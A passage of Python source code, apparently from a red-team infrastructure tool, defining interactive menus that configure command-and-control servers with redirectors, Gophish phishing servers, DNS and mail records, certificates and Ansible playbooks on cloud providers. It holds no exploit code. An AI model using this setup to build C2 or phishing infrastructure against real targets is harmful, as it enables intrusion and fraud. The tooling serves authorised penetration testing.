                "Email for certificate defaults to [email protected]"
            ])
            x.add_row(
                ["mod_id", mod["mod_id"], "no", "Autoloaded from domain_name"])
            x.align["DESCRITPION"] = "l"
        else:
            x = PrettyTable()
            x.title = 'Lets Encrypt Module'
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", self.mod["id"], "N/A", "Module ID"])
            x.add_row([
                "domain_name", self.mod["domain_name"], "yes",
                "The domain name for the certificate"
            ])
            x.add_row([
                "email", self.mod["email"], "yes",
                "Email for certificate defaults to [email protected]"
            ])
            x.add_row([
                "mod_id", self.mod["mod_id"], "no",
                "Autoloaded from domain_name"
            ])
            x.align["DESCRITPION"] = "l"
        print(x)

    def do_back(self, arg):
        """Return to main menu"""
        return True

    def do_clear(self, arg):
        """Clears screen"""
        os.system('clear')

    # set command
    # create the top-level parser for the set command
    set_parser = argparse.ArgumentParser(prog='set')
    set_subparsers = set_parser.add_subparsers(title='set-commands',
                                               help='set-command help')

    # create the parser for the "email" sub-command
    parser_email = set_subparsers.add_parser(
        'email', help='Email for certificate defaults to [email protected]')
    parser_email.add_argument('email',
                              type=str,
                              help='example: [ set email [email protected] ]')

    # create the parser for the "domain name" sub-command
    parser_domain_name = set_subparsers.add_parser(
        'domain_name', help='The domain name for the certificate')
    domain_name_parser = parser_domain_name.add_argument(
        'domain_name',
        choices=domain_names,
        type=str,
        help='example: [ set domain_name <example.com> ]')

    def set_domain_name(self, arg):
        """Sets the domain_name variable"""
        self.mod["domain_name"] = arg.domain_name
        # for idx,item in enumerate(list):
        for idx, d in enumerate(self.domain_names):
            if d == arg.domain_name:
                self.mod["mod_id"] = self.record_list[idx][d]

    def set_email(self, arg):
        """Sets the email variable"""
        self.mod["email"] = arg.email

    #Set handler functions for the sub-commands
    parser_domain_name.set_defaults(func=set_domain_name)
    parser_email.set_defaults(func=set_email)

    @cmd2.with_argparser(set_parser)
    def do_set(self, args):
        """Set the variables for the module"""
        func = getattr(args, 'func', None)
        if func is not None:
            # Call whatever sub-command function was selected
            func(self, args)
        else:
            # No sub-command was provided, so call help
            self.do_help('help')

    def do_add(self, args):
        """Adds letsencrypt module to the project """
        if not self.mod["domain_name"]:
            print("Variable domain_name can not be None")
        elif not self.mod["mod_id"]:
            print("Variable mod_id can not be None")
        else:
            global module
            module = self.mod
            return True

    # Command categories
    CMD_CAT_GENERAL = 'General (type help <command>)'
    CMD_CAT_MODULE = 'Module  (type help <command>)'

    cmd2.categorize((do_add, do_set), CMD_CAT_MODULE)
    cmd2.categorize(do_info, CMD_CAT_GENERAL)
Esempio n. 10
0
class cmd_main(cmd2.Cmd):
    """cmd2 instance for firewall module"""
    # The mod dictionary for the firewall module
    mod = {}
    playbooks_list =  []
    providers_list = []

    def __init__(self):
        super().__init__()
        global module
        global campaign_list
        # Hide the Quit funcitionality
        hide_cmd2_modules(self)

        dir_path = "config"
        if  os.path.exists(dir_path+"/config.json"):
            with open(dir_path+'/config.json', 'r') as filehandle:
                config = json.load(filehandle) 
                self.mod = config["mod_ansible"]
        else:
            print("The config/config.json file does not exists! Exiting...")
            return True  
        
        # Check if the editmodule functionality was used
        if module:
            self.mod = dict(module)
        else:
            self.mod["id"] = randomString()

        # Create list with modules id
        modules_ids=[]
        for c in campaign_list:
            if c["module"] != "dns_record" and c["module"] != "letsencrypt" and c["module"] != "godaddy" and c["module"] != "ansible" and c["module"] != "redirector" and c["module"] != "mail":
                modules_ids.insert(len(modules_ids),(c["id"]+"/"+c["module"]))
                if c["module"] != "redirector":
                    for i in range(c["redirectors"]):
                        modules_ids.insert(len(modules_ids),(c["id"]+"-"+str(i+1)+"/"+c["module"]))
        modules_ids.insert(len(modules_ids),"all")
        self.module_hosts_parser.choices = modules_ids      
        
        # Load the playbooks 
        dir_path = "redbaron/data/playbooks"
        for pb in os.listdir(dir_path):
            self.playbooks_list.append(pb)

    def do_back(self, arg):
        """Return to main menu"""
        return True

    def do_clear(self, arg):
        """Clears screen"""
        os.system('clear')

    def do_info(self,mod):
        """Prints variable table"""
        if mod:
            x = PrettyTable()
            x.title = mod["module"] + "/"+ mod["id"]
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", mod["id"], "N/A", "Module ID"])      
            x.add_row(["hosts", mod["hosts"], "yes", "Module to be used"])
            x.add_row(["playbook", mod["playbook"], "yes", "Playbook to be used"])                  
            x.align["DESCRITPION"] = "l"
        else:
            x = PrettyTable()
            x.title = 'Ansible module'
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", self.mod["id"], "N/A", "Module ID"])   
            x.add_row(["hosts", self.mod["hosts"], "yes", "Module to be used"])
            x.add_row(["playbook", self.mod["playbook"], "yes", "Playbook to be used"])                 
            x.align["DESCRITPION"] = "l"
        print(x)

    # set command
    # create the top-level parser for the set command
    set_parser = argparse.ArgumentParser(prog='set')
    set_subparsers = set_parser.add_subparsers(title='set-commands', help='Sets the variables of the module')

    # create the parser for the "hosts" sub-command
    parser_hosts = set_subparsers.add_parser('hosts', help='hosts to be used')
    module_hosts_parser = parser_hosts.add_argument('hosts',nargs="+", type=str, help='example : [set hosts <id> ]')

    parser_playbook = set_subparsers.add_parser('playbook', help='playbook to be used')
    parser_playbook.add_argument('playbook', type=str,choices=playbooks_list, help='example : [set playbook <playbook name> ]')    

    def set_mod(self, arg):
        """Sets the hosts variable"""
        if 'all' in arg.hosts:
            for c in campaign_list:
                if c["module"] != "dns_record" and c["module"] != "letsencrypt" and c["module"] != "godaddy" and c["module"] != "ansible":
                    self.mod["hosts"].insert(len(self.mod["hosts"]),(c["id"]+"/"+c["module"]))
                    for i in range(c["redirectors"]):
                        self.mod["hosts"].insert(len(self.mod["hosts"]),(c["id"]+"-"+str(i+1)+"/"+c["module"]))
        else:       
            self.mod["hosts"]= arg.hosts

    def set_playbook(self, arg):
        """Sets the =playbook variable"""
        self.mod["playbook"]= arg.playbook    

    #Set handler functions for the sub-commands
    parser_hosts.set_defaults(func=set_mod)
    parser_playbook.set_defaults(func=set_playbook)

    @cmd2.with_argparser(set_parser)
    def do_set(self, args):
        """Set the variables for the module"""
        func = getattr(args, 'func', None)
        if func is not None:
            # Call whatever sub-command function was selected
            func(self, args)
        else:
            # No sub-command was provided, so call help
            self.do_help('help')

    def do_add(self,args):
        """Adds c2 module to the project """
        global  module
        module = self.mod
        if self.mod["hosts"]:
            module = self.mod
            return True         
        else:
            print("The hosts can not be None!")
        if self.mod["playbook"]:
            module = self.mod
            return True         
        else:
            print("The playbook can not be None!")

    # Command categories
    CMD_CAT_GENERAL = 'General (type help <command>)'
    CMD_CAT_MODULE  = 'Module  (type help <command>)'

    cmd2.categorize((do_add,do_set), CMD_CAT_MODULE)
    cmd2.categorize(do_info, CMD_CAT_GENERAL)
Esempio n. 11
0
class cmd_main(cmd2.Cmd):
    """cmd2 instance for c2 module"""
    # The mod dictionary for the c2 module
    mod = {}

    tools_list = []
    available_regions_list = []
    type_list = ["http", "dns"]
    providers_list = []
    size_list = []
    distros_list = []

    def __init__(self):
        super().__init__()
        # Hide the Quit funcitionality
        hide_cmd2_modules(self)
        global module

        dir_path = "config"
        if os.path.exists(dir_path + "/config.json"):
            with open(dir_path + '/config.json', 'r') as filehandle:
                config = json.load(filehandle)
                self.mod = config["mod_c2"]
                self.providers_list = config["providers_list"]
                self.module_provider_parser.choices = self.providers_list

                for prov in self.providers_list:
                    if self.mod["provider"] == prov:
                        self.available_regions_list = config[prov]["regions"]
                        self.module_regions_parser.choices = self.available_regions_list
                        self.size_list = config[prov]["size"]
                        self.module_size_parser.choices = self.size_list
                        self.distros_list = config["distros"]
                        self.module_distro_parser.choices = config[prov][
                            "supported_distros"]
                        if self.mod["provider"] == "aws":
                            self.mod["ami"] = config["aws"]["amis"][
                                self.mod["region"] + "-" + self.mod["distro"]]
                        else:
                            self.mod["ami"] = ""
        else:
            print("The config/config.json file does not exists! Exiting...")
            return True

        if module:
            self.mod = dict(module)
        else:
            self.mod["id"] = randomString()

        # Load scripts
        dir_path = "redbaron/data/scripts/tools"
        for tool in os.listdir(dir_path):
            self.tools_list.append(tool.split(".")[0])

    def do_back(self, arg):
        """Return to main menu"""
        return True

    def do_clear(self, arg):
        """Clears screen"""
        os.system('clear')

    def do_info(self, mod):
        """Prints variable table"""
        if mod:
            x = PrettyTable()
            x.title = mod["module"] + "/" + mod["id"]
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", mod["id"], "N/A", "Module ID"])
            x.add_row([
                "type", mod["type"], "yes",
                "Type of c2 Accepted values are: HTTP/DNS."
            ])
            x.add_row(
                ["provider", mod["provider"], "yes", "Provider to be used "])
            x.add_row(["distro", mod["distro"], "yes", "Distro to be used"])
            x.add_row([
                "region", mod["region"], "yes", "Regions to create Droplet in."
            ])
            x.add_row(["size", mod["size"], "yes", "Droplet size to launch. "])
            x.add_row([
                "redirectors", mod["redirectors"], "yes",
                "Number of redirectors to launch for each c2."
            ])
            x.add_row([
                "tools", mod["tools"], "no",
                "Tools to be installed on droplet creation."
            ])
            x.align["DESCRITPION"] = "l"
        else:
            x = PrettyTable()
            x.title = 'C2 module'
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", self.mod["id"], "N/A", "Module ID"])
            x.add_row([
                "type", self.mod["type"], "yes",
                "Type of c2 Accepted values are: HTTP/DNS."
            ])
            x.add_row([
                "provider", self.mod["provider"], "yes", "Provider to be used "
            ])
            x.add_row(
                ["distro", self.mod["distro"], "yes", "Distro to be used"])
            x.add_row([
                "region", self.mod["region"], "yes",
                "Regions to create Droplet in."
            ])
            x.add_row(
                ["size", self.mod["size"], "yes", "Droplet size to launch"])
            x.add_row([
                "redirectors", self.mod["redirectors"], "yes",
                "Number of redirectors to launch for each c2. "
            ])
            x.add_row([
                "tools", self.mod["tools"], "no",
                "Tools to be installed on droplet creation."
            ])
            x.align["DESCRITPION"] = "l"
        print(x)

    # set command
    # create the top-level parser for the set command
    set_parser = argparse.ArgumentParser(prog='set')
    set_subparsers = set_parser.add_subparsers(
        title='set-commands', help='Sets the variables of the module')

    # create the parser for the "region" sub-command
    parser_region = set_subparsers.add_parser(
        'region',
        help=
        'Regions to create Droplet in. Defaults to LON1. Accepted values are NYC1/2/3, SFO1/2, AMS1/2, SGP1, LON1, FRA1, TOR1, BLR1.'
    )
    module_regions_parser = parser_region.add_argument(
        'region',
        choices=available_regions_list,
        type=str,
        help='example : [ set region <AMS1> ]')

    # create the parser for the "type" sub-command
    parser_type = set_subparsers.add_parser(
        'type', help='Type of c2 Accepted values are: HTTP/DNS.')
    parser_type.add_argument('type',
                             choices=type_list,
                             type=str,
                             help='example:  set type <http> ]')

    # create the parser for the "redirectors" sub-command
    parser_redirectors = set_subparsers.add_parser(
        'redirectors',
        help='Number of redirectors to launch for each c2. Defaults to 1.')
    parser_redirectors.add_argument('redirectors',
                                    type=int,
                                    help='example: [ set redirectors <3>')

    # create the parser for the "provider" sub-command
    parser_provider = set_subparsers.add_parser('provider',
                                                help='Provider to be used ')
    module_provider_parser = parser_provider.add_argument(
        'provider',
        choices=providers_list,
        type=str,
        help='example: [ set provider <digitalocean> ]')

    # create the parser for the "tools" sub-command
    parser_tools = set_subparsers.add_parser(
        'tools', help='Tools to be installed on droplet creation.')
    parser_tools.add_argument(
        'tools',
        nargs="+",
        choices=tools_list,
        type=str,
        help='example: [ set tools < metasploit empire ...>] ')

    # create the parser for the "size" sub-command
    parser_size = set_subparsers.add_parser('size',
                                            help='Size of the droplet.')
    module_size_parser = parser_size.add_argument(
        'size', type=str, help='example: [ set size <s-1vcpu-1gb>] ')

    # create the parser for the "distro" sub-command
    parser_distro = set_subparsers.add_parser('distro',
                                              help='Distro to be used ')
    module_distro_parser = parser_distro.add_argument(
        'distro',
        choices=distros_list,
        type=str,
        help='example: [ set distro <debian> ]')

    def set_region(self, arg):
        """Sets the region variable"""
        self.mod["region"] = arg.region
        # Change provider for all modules on AWS
        if self.mod["provider"] == "aws":
            notification = cmd2.ansi.style("***",
                                           fg=Fg.RED,
                                           bg=None,
                                           bold=True,
                                           underline=False)
            print(
                f"""\n{notification} Only one region is supported per project on AWS. {notification}\n"""
            )
            global campaign_list
            for c in campaign_list:
                if c["provider"] == "aws":
                    if c["region"] != arg.region:
                        print(
                            cmd2.ansi.style(
                                f"""Module with {c["id"]} has region set to {c["region"]}. Replacing...""",
                                fg=Fg.RED,
                                bg=None,
                                bold=True,
                                underline=False))
                        c["region"] = arg.region

    def set_redirectors(self, arg):
        """Sets the redirectors variable"""
        self.mod["redirectors"] = arg.redirectors

    def set_type(self, arg):
        """Sets the type variable"""
        self.mod["type"] = arg.type

    def set_provider(self, arg):
        """Sets the provider variable"""
        self.mod["provider"] = arg.provider

        dir_path = "config"
        if os.path.exists(dir_path + "/config.json"):
            with open(dir_path + '/config.json', 'r') as filehandle:
                config = json.load(filehandle)

                for prov in self.providers_list:
                    if self.mod["provider"] == prov:
                        self.available_regions_list = config[prov]["regions"]
                        self.module_regions_parser.choices = self.available_regions_list
                        self.mod[
                            "distro"] = "debian"  # It must always defaults to debian (digital-ocean does not support kali)
                        self.module_distro_parser.choices = config[prov][
                            "supported_distros"]
                        self.size_list = config[prov]["size"]
                        self.module_size_parser.choices = self.size_list
                        self.mod["region"] = config[prov]["default_region"]
                        self.mod["size"] = config[prov]["default_size"]
                        if self.mod["provider"] == "aws":
                            self.mod["ami"] = config["aws"]["amis"][
                                self.mod["region"] + "-" + self.mod["distro"]]
                        else:
                            self.mod["ami"] = ""

    def set_tools(self, arg):
        """Sets the tools variable"""
        self.mod["tools"] = arg.tools

    def set_size(self, arg):
        """Sets the size variable"""
        self.mod["size"] = arg.size

    def set_distro(self, arg):
        """Sets the distro variable"""
        self.mod["distro"] = arg.distro
        #checks if provider is aws to load correct ami
        if self.mod["provider"] == "aws":
            dir_path = "config"
            if os.path.exists(dir_path + "/config.json"):
                with open(dir_path + '/config.json', 'r') as filehandle:
                    config = json.load(filehandle)
                    self.mod["ami"] = config["aws"]["amis"][self.mod["region"]
                                                            + "-" +
                                                            self.mod["distro"]]
        else:
            self.mod["ami"] = ""

    #Set handler functions for the sub-commands
    parser_size.set_defaults(func=set_size)
    parser_region.set_defaults(func=set_region)
    parser_redirectors.set_defaults(func=set_redirectors)
    parser_type.set_defaults(func=set_type)
    parser_provider.set_defaults(func=set_provider)
    parser_tools.set_defaults(func=set_tools)
    parser_distro.set_defaults(func=set_distro)

    @cmd2.with_argparser(set_parser)
    def do_set(self, args):
        """Set the variables for the module"""
        func = getattr(args, 'func', None)
        if func is not None:
            # Call whatever sub-command function was selected
            func(self, args)
        else:
            # No sub-command was provided, so call help
            self.do_help('help')

    def do_add(self, args):
        """Adds c2 module to the project """
        global module
        module = self.mod
        return True

    # Command categories
    CMD_CAT_GENERAL = 'General'
    CMD_CAT_MODULE = 'Module'

    cmd2.categorize((do_add, do_set), CMD_CAT_MODULE)
    cmd2.categorize(do_info, CMD_CAT_GENERAL)
Esempio n. 12
0
class cmd_main(cmd2.Cmd):
    """cmd2 instance for dns_records module"""

    providers_list = []
    types_list = [
        "A", "MX", "TXT"
    ]  #["AAAA", "CAA", "CNAME", "MX", "NAPTR", "NS", "PTR", "SOA", "SPF", "SRV"]
    values_list = ["v=DMARC1; p=none; sp=none;", "v=spf1 mx -all"]
    # The mod dictionary for the dns_records module
    mod = {}

    def __init__(self):
        super().__init__()
        #Hide the Quit funcitionality ( if it is deleted it causes erros)
        hide_cmd2_modules(self)

        global campaign_list
        global modules_ids
        global module
        global domain_names

        dir_path = "config"
        if os.path.exists(dir_path + "/config.json"):
            with open(dir_path + '/config.json', 'r') as filehandle:
                config = json.load(filehandle)
                self.mod = config["mod_dns_record"]
                self.providers_list = config["providers_list"]
                self.module_provider_parser.choices = self.providers_list
        else:
            print("The config/config.json file does not exists! Exiting...")
            return True

        # Check if the editmodule functionality was used
        if module:
            self.mod = dict(module)
        else:
            self.mod["id"] = randomString()

        # Create list with modules id
        modules_ids = []
        for c in campaign_list:
            if c["module"] != "dns_record" and c[
                    "module"] != "letsencrypt" and c["module"] != "godaddy":
                if c["module"] == "mail" or c["module"] == "redirector":
                    modules_ids.insert(len(modules_ids),
                                       (c["id"] + "/" + c["module"]))
                else:
                    modules_ids.insert(len(modules_ids),
                                       (c["id"] + "/" + c["module"]))
                    for i in range(c["redirectors"]):
                        modules_ids.insert(
                            len(modules_ids),
                            (c["id"] + "-" + str(i + 1) + "/" + c["module"]))

        self.domain_recrod_parser.choices = domain_names
        self.module_recrod_parser.choices = modules_ids

    def do_back(self, arg):
        """Return to main menu"""
        return True

    def do_clear(self, arg):
        """Clears screen"""
        os.system('clear')

    def do_info(self, mod):
        """Prints variable table or contents of a module added to the campain"""
        if mod:
            x = PrettyTable()
            x.title = mod["module"] + "/" + mod["id"]
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", mod["id"], "N/A", ""])
            x.add_row(
                ["provider", mod["provider"], "yes", "Provider to be used"])
            x.add_row([
                "type", mod["type"], "yes",
                "The record type to add. Valid values are A, MX and TXT."
            ])
            x.add_row([
                "record", mod["records"], "yes",
                "The record to add.\n  A:   set record -m <module_id> -d <domain>\n  TXT: set record -d <domain> -t <template>/-v <custom>\n  MX:  set record -m <module_id> -d <domain>"
            ])
            x.add_row([
                "name", mod["name"], "yes",
                "Use @ to create the record at the root of the domain or enter a hostname to create it elsewhere.\nA records are for IPv4 addresses only and tell a request where your domain should direct to. For AWS the '@' is converted to ''."
            ])
            x.add_row([
                "priority", mod["priority"], "no",
                "Used for mail server. Default 1."
            ])
            x.add_row(["ttl", mod["ttl"], "no", "Time to live"])
            x.align["DESCRITPION"] = "l"
        else:
            x = PrettyTable()
            x.title = 'DNS Records module'
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", self.mod["id"], "N/A", ""])
            x.add_row([
                "provider", self.mod["provider"], "yes", "Provider to be used"
            ])
            x.add_row([
                "type", self.mod["type"], "yes",
                "The record type to add. Valid values are A, MX and TXT."
            ])
            x.add_row([
                "record", self.mod["records"], "yes",
                "The  record to add.\n  A:   set record -m <module_id> -d <domain>\n  TXT: set record -d <domain> -t <template>/-v <custom>\n  MX:  set record -m <module_id> -d <domain>"
            ])
            x.add_row([
                "name", self.mod["name"], "yes",
                "Use @ to create the record at the root of the domain or enter a hostname to create it elsewhere.\nA records are for IPv4 addresses only and tell a request where your domain should direct to."
            ])
            x.add_row([
                "priority", self.mod["priority"], "no",
                "Used for mail server. Default 1,"
            ])
            x.add_row(["ttl", self.mod["ttl"], "no", "Time to live"])
            x.align["DESCRITPION"] = "l"
        print(x)

    # set command
    # create the top-level parser for the set command
    set_parser = argparse.ArgumentParser(prog='set')
    set_subparsers = set_parser.add_subparsers(title='set-commands',
                                               help='set-command help')

    # create the parser for the "type" sub-command
    parser_type = set_subparsers.add_parser(
        'type',
        help=
        'The record type to add. Valid values are A, AAAA, CAA, CNAME, MX, NAPTR, NS, PTR, SOA, SPF, SRV and TXT.'
    )
    parser_type.add_argument('type',
                             choices=types_list,
                             type=str,
                             help='example: [ set type <MX> ]')

    # create the parser for the "provider" sub-command
    parser_provider = set_subparsers.add_parser('provider',
                                                help='Provider to be used ')
    module_provider_parser = parser_provider.add_argument(
        'provider',
        choices=providers_list,
        type=str,
        help='example: [ set provider <digitalocean> ]')

    # create the parser for the "name" sub-command
    parser_name = set_subparsers.add_parser(
        'name',
        help=
        'Use @ to create the record at the root of the domain or enter a hostname to create it elsewhere. A records are for IPv4 addresses only and tell a request where your domain should direct to.'
    )
    parser_name.add_argument('name',
                             type=str,
                             help='example: [ set name www ], [ set name @]')

    # create the parser for the "priority" sub-command
    parser_priority = set_subparsers.add_parser('priority',
                                                help='Set priority')
    parser_priority.add_argument('priority',
                                 type=int,
                                 help='example: [ set priority <1> ]')

    # create the parser for the "record" sub-command
    parser_record = set_subparsers.add_parser(
        'record',
        help=
        """Sets the record\n            examples\n            A:   set record -m <module_id> -d <domain>\n            TXT: set record -d <domain> -t <template> / set record -d <domain> -v <custom>\n            MX:  set record -m <module_id> -d <domain>"""
    )
    module_recrod_parser = parser_record.add_argument(
        '-m', '--module', type=str,
        help='Module ID to add')  #choices=campaign_list,
    # parser_record.add_argument('-r','--redirector', type=int, help='Redirector of module to use')
    domain_recrod_parser = parser_record.add_argument(
        '-d', '--domain', type=str,
        help='domain to use')  #,choices=domain_names,
    parser_record.add_argument('-v',
                               '--value',
                               type=str,
                               help='Custom vaule to be added')  #  ,nargs="?"
    parser_record.add_argument('-t',
                               '--txt_templ',
                               type=str,
                               choices=values_list,
                               help='TXT predifined records')

    def set_type(self, arg):
        """Sets the type variable"""
        self.mod["type"] = arg.type
        global campaign_list
        global modules_ids
        modules_ids = []
        if arg.type == "MX":
            for c in campaign_list:
                if c["module"] == "mail":
                    modules_ids.insert(len(modules_ids), c["id"])
            self.module_recrod_parser.choices = modules_ids
        else:
            for c in campaign_list:
                if c["module"] != "dns_record" and c[
                        "module"] != "letsencrypt" and c[
                            "module"] != "redirector":
                    if c["module"] == "mail":
                        modules_ids.insert(len(modules_ids),
                                           (c["id"] + "/" + c["module"]))
                    else:
                        modules_ids.insert(len(modules_ids),
                                           (c["id"] + "/" + c["module"]))
                        for i in range(c["redirectors"]):
                            modules_ids.insert(len(modules_ids),
                                               (c["id"] + "-" + str(i + 1) +
                                                "/" + c["module"]))
            self.module_recrod_parser.choices = modules_ids

    def set_name(self, arg):
        """Sets the name variable"""
        if arg.name == "@" and self.mod["provider"] == "aws":
            self.mod["name"] = ""
        elif arg.name == "" and self.mod["provider"] == "digitalocean":
            self.mod["name"] = "@"
        else:
            self.mod["name"] = arg.name

    def set_priority(self, arg):
        """Sets the priority variable"""
        self.mod["priority"] = arg.priority

    def set_provider(self, arg):
        """Sets the provider variable"""
        # Check if a provider exists to set up a dns record
        do_flag = False
        aws_flag = False
        global campaign_list

        if arg.provider == "aws":
            for c in campaign_list:
                if c["provider"] == "aws":
                    aws_flag = True
            if not aws_flag:
                print(
                    "No aws module was set! Returing without setting the value"
                )
                return
        if arg.provider == "digitalocean":
            for c in campaign_list:
                if c["provider"] == "digitalocean":
                    do_flag = True
            if not do_flag:
                print(
                    "No digitalocean module was set! Returing without setting the value"
                )
                return

        self.mod["provider"] = arg.provider
        if self.mod["name"] == "@" and self.mod["provider"] == "aws":
            self.mod["name"] = ""
        elif self.mod["name"] == "" and self.mod["provider"] == "digitalocean":
            self.mod["name"] = "@"

    def set_record(self, arg):
        """Sets the record"""
        global campaign_list
        record = {}
        if self.mod["type"] == "MX":
            if arg.module is not None:
                for c in campaign_list:
                    if c["module"] == "mail" and c["id"] == arg.module.split(
                            '/')[0]:
                        record = {
                            c["domain_name"]:
                            c["subdomain"] + "." + c["domain_name"] + "."
                        }
                        self.mod["records"] = record
                if record is None:
                    print("The module is not a mail server")

        elif self.mod["type"] == "TXT":
            if arg.txt_templ is not None:
                if arg.domain is not None and arg.value is None:
                    record = {arg.domain: arg.txt_templ}
                    self.mod["records"] = record
                else:
                    print(
                        "The txt type requires domain and value or txt_templ to be set"
                    )
            else:
                if arg.domain is not None and arg.txt_templ is None:
                    record = {arg.domain: arg.value}
                    self.mod["records"] = record
                else:
                    print(
                        "The txt type requires domain and value or txt_temp to be set"
                    )

        else:
            if arg.domain is not None and arg.module is not None:  # and arg.redirector:
                for c in campaign_list:
                    if arg.module.split('-')[0] == c["id"]:
                        record = {arg.domain: arg.module.split('/')[0]}
                        self.mod["records"] = record
                        break
                    elif arg.module.split('/')[0] == c["id"]:
                        record = {arg.domain: arg.module.split('/')[0]}
                        self.mod["records"] = record
            else:
                print("The A type requires domain and a module to be set")

    #Set handler functions for the sub-commands
    parser_provider.set_defaults(func=set_provider)
    parser_type.set_defaults(func=set_type)
    parser_name.set_defaults(func=set_name)
    parser_priority.set_defaults(func=set_priority)
    parser_record.set_defaults(func=set_record)

    @cmd2.with_argparser(set_parser)
    def do_set(self, args):
        """Set the variables for the module"""
        func = getattr(args, 'func', None)
        if func is not None:
            # Call whatever sub-command function was selected
            func(self, args)
        else:
            # No sub-command was provided, so call help
            self.do_help('help')

    def do_add(self, args):
        """Adds a dns_record module to the project """
        global module
        do_flag = False
        aws_flag = False
        global campaign_list

        if not self.mod["records"]:
            print("The variable records can not be None!")
        elif self.mod["provider"] == "digitalocean":
            for c in campaign_list:
                if c["provider"] == "digitalocean":
                    do_flag = True
                    break
            if not do_flag:
                print("No digitalocean module was set!")
            else:
                module = self.mod
                return True
        elif self.mod["provider"] == "aws":
            for c in campaign_list:
                if c["provider"] == "aws":
                    aws_flag = True
                    break
            if not aws_flag:
                print("No aws module was set!")
            else:
                module = self.mod
                return True
        else:
            module = self.mod
            return True

    # Command categories
    CMD_CAT_GENERAL = 'General (type help <command>)'
    CMD_CAT_MODULE = 'Module  (type help <command>)'

    cmd2.categorize((do_add, do_set), CMD_CAT_MODULE)
    cmd2.categorize(do_info, CMD_CAT_GENERAL)
Esempio n. 13
0
class cmd_main(cmd2.Cmd):
    """cmd2 instance for gophish module"""
    # The mod dictionary for the gophish module
    mod = {}

    available_regions_list = []
    providers_list = []

    def __init__(self):
        super().__init__()
        global module

        # Hide the Quit funcitionality
        hide_cmd2_modules(self)
 
        dir_path = "config"
        if  os.path.exists(dir_path+"/config.json"):
            with open(dir_path+'/config.json', 'r') as filehandle:
                config = json.load(filehandle) 
                self.mod = config["mod_gophish"]
                self.providers_list = config["providers_list"]
                self.module_provider_parser.choices = self.providers_list

                for prov in self.providers_list:
                    if self.mod["provider"] == prov:
                        self.available_regions_list = config[prov]["regions"]
                        self.module_regions_parser.choices = self.available_regions_list
                        self.size_list = config[prov]["size"]
                        self.module_size_parser.choices = self.size_list
        else:
            print("The config/config.json file does not exists! Exiting...")
            return True  
  
        if module:
            self.mod = dict(module)
        else:
            self.mod["id"] = randomString()
            
    def do_back(self, arg):
        """Return to main menu"""
        return True

    def do_clear(self, arg):
        """Clears screen"""
        os.system('clear')

    def do_info(self,mod):
        """Prints variable table"""
        if mod:
            x = PrettyTable()
            x.title = mod["module"] + "/"+ mod["id"]
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", mod["id"], "N/A", "Module ID"])
            x.add_row(["provider", mod["provider"], "yes", "Provider to be used"])
            x.add_row(["region",mod["region"] , "yes", "Regions to create Droplet in."])
            x.add_row(["size",mod["size"] , "yes", "Droplet size to launch."])
            x.add_row(["redirectors",mod["redirectors"] , "yes", "Number of redirectors to launch for each gophish instance. Defaults to 1."])
            x.align["DESCRITPION"] = "l"
        else:
            x = PrettyTable()
            x.title = 'Gophish module'
            x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"]
            x.add_row(["id", self.mod["id"], "N/A", "Module ID"])
            x.add_row(["provider", self.mod["provider"], "yes", "Provider to be used"])
            x.add_row(["region",self.mod["region"] , "yes", "Regions to create Droplet in. Defaults to LON1."])
            x.add_row(["size",self.mod["size"] , "yes", "Droplet size to launch."])
            x.add_row(["redirectors",self.mod["redirectors"] , "yes", "Number of redirectors to launch for each gophish instance. Defaults to 1."])
            x.align["DESCRITPION"] = "l"
        print(x)

    # set command
    # create the top-level parser for the set command
    set_parser = argparse.ArgumentParser(prog='set')
    set_subparsers = set_parser.add_subparsers(title='set-commands', help='Sets the variables fof the module')


    # create the parser for the "region" sub-command
    parser_region = set_subparsers.add_parser('region', help='Regions to create Droplet( in. Defaults to LON1. Accepted values are NYC1/2/3, SFO1/2, AMS1/2, SGP1, LON1, FRA1, TOR1, BLR1.')
    module_regions_parser = parser_region.add_argument('region',choices=available_regions_list, type=str, help='example : [ set region <AMS1> ]')

    # create the parser for the "redirectors" sub-command
    parser_redirectors = set_subparsers.add_parser('redirectors', help='Number of redirectors to launch for each gophish instance. Defaults to 1.')
    parser_redirectors.add_argument('redirectors', type=int, help='example: [ set redirectors <3>')

    # create the parser for the "provider" sub-command
    parser_provider = set_subparsers.add_parser('provider', help='Provider to be used ')
    module_provider_parser = parser_provider.add_argument('provider',choices=providers_list, type=str, help='example : [set provider <digitalocean> ]')

    # create the parser for the "size" sub-command
    parser_size = set_subparsers.add_parser('size', help='Size of the droplet.')
    module_size_parser = parser_size.add_argument('size', type=str, help='example: [ set size <s-1vcpu-1gb>] ')

    def set_region(self, arg):
        """Sets the region variable"""
        self.mod["region"]= arg.region
        # Change provider for all modules on AWS
        if self.mod["provider"] == "aws":
            notification = cmd2.ansi.style("***", fg=Fg.RED, bg=None,bold=True, underline=False)
            print(f"""\n{notification} Only one region is supported per project on AWS. {notification}\n""")
            global campaign_list
            for c in campaign_list:
                if c["provider"] == "aws":
                    if c["region"] != arg.region:
                        print(cmd2.ansi.style(f"""Module with {c["id"]} has region set to {c["region"]}. Replacing...""", fg=Fg.RED, bg=None,bold=True, underline=False))
                        c["region"] = arg.region

    def set_redirectors(self, arg):
        """Sets the redirectors variable"""
        self.mod["redirectors"] = arg.redirectors

    def set_provider(self, arg):
        """Sets the provider variable"""
        self.mod["provider"]= arg.provider

        dir_path = "config"
        if  os.path.exists(dir_path+"/config.json"):
            with open(dir_path+'/config.json', 'r') as filehandle:
                config = json.load(filehandle) 

                for prov in self.providers_list:
                    if self.mod["provider"] == prov:
                        self.available_regions_list = config[prov]["regions"]
                        self.module_regions_parser.choices = self.available_regions_list
                        self.size_list = config[prov]["size"]
                        self.module_size_parser.choices = self.size_list
                        self.mod["region"] = config[prov]["default_region"]
